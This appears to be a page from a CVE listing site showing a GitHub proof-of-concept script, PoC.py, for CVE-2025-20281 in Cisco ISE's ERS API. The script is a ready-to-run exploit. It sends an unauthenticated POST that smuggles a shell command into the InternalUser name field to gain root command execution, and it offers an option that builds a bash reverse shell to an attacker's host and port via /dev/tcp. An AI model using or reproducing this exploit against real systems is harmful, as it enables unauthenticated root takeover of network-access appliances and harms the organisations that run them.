4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / PoC.py PY
#!/usr/bin/env python3
import requests
import urllib3
import argparse

# suppress self‐signed cert warnings
urllib3.disable_warnings()

def exploit_cve_2025_20281_unauth(target, cmd):
    """
    Sends a crafted POST to the InternalUser ERS API
    without any authentication, injecting `cmd` into the name
    field to get RCE as root.
    """
    url = f"https://{target}:9060/ers/sdk#_"
    #url = f"https://{target}/ers/sdk#_"
    payload = {
        "InternalUser": {
            "name": f"pwn; {cmd}; #",
            "password": "x",         # dummy, ignored by vuln
            "changePassword": False
        }
    }
    # NO auth tuple here!
    r = requests.post(url, json=payload, verify=False)
    print(f"[+] HTTP {r.status_code}\n{r.text}\n")

def build_reverse_shell(lhost, lport):
    return f"/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"

if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description="Unauthenticated PoC for CVE-2025-20281 on Cisco ISE ERS"
    )
    parser.add_argument('target', help="IP or hostname of the ISE PAN")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument(
        '--whoami',
        action='store_true',
        help="Run 'whoami' and print the result"
    )
    group.add_argument(
        '--reverse',
        nargs=2,
        metavar=('LHOST', 'LPORT'),
        help="Spawn a bash reverse shell to LHOST:LPORT"
    )

    args = parser.parse_args()

    if args.whoami:
        cmd = 'whoami'
    else:
        lhost, lport = args.reverse
        cmd = build_reverse_shell(lhost, lport)

    print(f"[*] Target: {args.target}")
    print(f"[*] Command: {cmd}\n")
    exploit_cve_2025_20281_unauth(args.target, cmd)